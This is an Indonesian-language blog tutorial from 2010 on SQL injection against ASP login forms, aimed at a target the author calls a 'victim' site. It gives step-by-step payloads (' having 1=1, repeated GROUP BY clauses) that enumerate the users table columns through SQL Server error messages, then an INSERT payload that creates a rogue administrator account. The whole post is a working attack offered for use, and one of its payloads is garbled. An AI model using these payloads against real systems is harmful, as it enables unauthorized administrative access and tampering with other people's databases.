Wednesday, December 1, 2010

Sisi lain eksploitasi ASP injection part 2


Jika pada tutorial sebelumnya kita melakukan injection pada address bar, maka sekarang kita akan melakukan nya pada textbox.
Loh... kq bisa ?!
ya jangan tanyasaya, orang memang kenyataan nya bisa kq.. :P
Sekarang tanpa penjelasan yang berbusa-busa, kita akan mencoba langsung ke teori..

Kalo misal kita menemukan korban.

Kode:
http://korban.com/admin


Pada menuID kita isi ' having 1=1-yang perlu kita ingat adalah, masukan ' having 1=1 hanya pada form ID, sementara form password kita biarkan kosong.
Kemudian klik login button
Maka, jika beruntung maka akan muncul error:

Kode:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.firstname' is invalid in the select list because it is not contained in either an agregate function or the GROUP BY clause

/shopping/shop$db.asp, line 916


Ternyata having dapat memberi tahu kepada kita kalau ada kolom users.firstname
Sekarang kita klik back button, dan kita akan kembali ke menu login tadi

Nah pada menu login tadi masukan ' group by users.firstname-- [ingat, hanya pada form id, sedang kan form password tetap biarkan kosong].
Klik login button
Ternyata error yang muncul adalah

Kode:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.lastname' is invalid in the select list because it is not contained in either an agregate function or the GROUP BY clause

/shopping/shop$db.asp, line 916


Ternyata setelah kolom first name, masih ada kolom lastname.
Sekarang kita klik back button lagi untuk kembali ke halaman login awal.
Kemudian pada form id masukan ' group by users.firstname,users.lastname--
Maka akan muncul error:

Kode:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an agregate function or the GROUP BY clause

/shopping/shop$db.asp, line 916


Ternyata kolom berikutnya adalah username.
Kemudain kita harus bagaiman ?!
Klik back button lagi.
Kemudian isi form id dengan ' group by users.firstname,users.lastname,users.username--
Hingga muncul lagi error:

Kode:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.password' is invalid in the select list because it is not contained in either an agregate function or the GROUP BY clause

/shopping/shop$db.asp, line 916


kita klik lagi back button
masukan pada form id ' group by users.firstname,users.lastname,users.username,users.password--
maka akan muncul error:

Kode:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.role' is invalid in the select list because it is not contained in either an agregate function or the GROUP BY clause

/shopping/shop$db.asp, line 916


Kita klik back lagi.
Kemudian masukan pada form id ' group by users.firstname,users.lastname,users.username,users.password,users.role--
dan yang keluar adalah :

Kode:
Site Administrator Logged in !
14/10/05 23:45:31 PM

EXIT

Site Modification Option
Database Management

View all sites, add, edit, or delete an existing property


Semudah itu ?!
Trnru tidak.
Itu bukan lah access sebagai admin penuh.
Lalu bagaimana caranya ?!
Tenang, ga perlu panik.
Sekarang kita klik back button lagi.
Setelah kita mengetahui kolom apa saja yang ada pada SQL target, maka untuk membuat login yang baru kita menggunakan perintah insert
Pada form login di id kita gunakan perintah insert dengan syntax:

Kode:
' insert into table(column1, column2, column3, column4 columnN) values ('isi1', 'isi2', 'isi3', 'isi4', 'isiN')--


Yang keluar adalah:

Kode:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name'table'

/shopping/shop$db.asp, line 916


Loh... loh...
Kq invalid ?!
Mengapa ?!
Di atas tadi column1 adalah users.firstname, column2 adalah users.lastname, column3 adalah users.username, dan column4 adalah users.role.
Jadi kita isikan menjadi:

Kode:
' insert into table(users.firstname,' group by users.firstname--,' group by users.firstname,users.lastname,users.username,users.password--,' group by users.firstname,users.userslastname,users.username,users.password,users.role--) values ('isi1', 'isi2', 'isi3', 'isi4', 'isiN')--


Bingung kan
Wakakka...
Gini pak.
Dalam,
user.firstname = user adalah nama table
user.firstname = firstname adalah nama kolom
command = insert into table(column) values ('isi')

maksudnya, users adalah nama tablenya dan firstname adalah anama kolomnya. Tadi kita sudah tahu bahwa ada tabel users dengan columnfirstname, lastname, username, password, role.
kita akan memasukan user baru dengan perintah insert.
Yang kira masukan jika ingin membuat insert baru adalah :

Kode:
'
insert into tables(firstname,lastname,username,password,role) values ('mas','Shamus','Shamus','keren','1')


Nah, dengan menuliskan syntax seperti itu, di database target akan terbentuk user baru dengan isi:
Firstname : mas
Lastname : Shamus
Username : Shamus
Password : keren

Sekarang kita klik back button, kemudian pada form kitas isikan
Id : Shamus
Password : keren

Selamat..
You are administrator now...
Segitu mudah nya ?!
Ya..
Dan memang ga ada ilmu yang sulit kq pak, semua tergantung niatan anda saja. :P
Yah.. mungkin dari dua tutorial saya tentang asp ini sudah banyak yang tahu ataupun sudah banyak yang baca, memang mungkin ini teknik sudah banyak bertebaran di ranah maya.
Tapi toh ga ada salahnya jika saya berbagi lagi di sini...
Ok..
Semoga berguna..
Terima kasih banyak saya ucapkan kepada anda yang telah sudi membaca artikel saya.
Jika ada kekurangan itu datang nya dari diri saya seorang, jika ada kelebihan itu datang nya dari Allah S.W.T
Hiks..
Akhir kata wassalamualaikum
[aih.. -.-".... Kaya pidato kenegaraan aja]

No comments:

Template by : mhiman@ hacker-newbie.org